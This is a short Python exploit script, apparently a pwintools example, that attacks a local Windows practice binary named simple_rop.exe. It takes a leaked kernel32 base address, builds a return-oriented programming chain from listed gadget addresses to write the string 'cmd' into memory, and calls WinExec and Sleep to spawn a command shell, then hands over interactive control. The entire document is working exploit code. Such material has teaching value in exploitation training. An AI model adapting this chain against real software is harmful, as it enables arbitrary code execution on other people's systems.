from pwintools import *

p = Process("./Release/simple_rop.exe")

k32_base = int(p.recvline(False).split()[-1], 16)
log.info("kernel32.dll @ 0x{:08x}".format(k32_base))

k32_data_ofs = 0xb0000
WinExec_ofs = p.symbols['kernel32.dll']['WinExec'] - p.libs['kernel32.dll']
Sleep_ofs = p.symbols['kernel32.dll']['Sleep'] - p.libs['kernel32.dll']

"""
image base 0x6b800000
0x6b813e9d : mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret
0x6b83127d : pop ecx ; ret
0x6b818562 : pop eax ; ret
"""

def w(addr, dat):
    payload  = p32(k32_base + 0x6b83127d - 0x6b800000) + p32(addr)
    payload += p32(k32_base + 0x6b818562 - 0x6b800000) + p32(dat)
    payload += p32(k32_base + 0x6b813e9d - 0x6b800000) + p32(0) * 2
    return payload

payload  = "A"*8 + p32(0)
payload += w(k32_base + k32_data_ofs, u32("cmd\0"))
payload += p32(k32_base + WinExec_ofs) + p32(k32_base + Sleep_ofs) + p32(k32_base + k32_data_ofs) + p32(10) + p32(0) + p32(0x7fffffff)

p.send(payload)

log.info('Starting interactive mode ...')
p.interactive()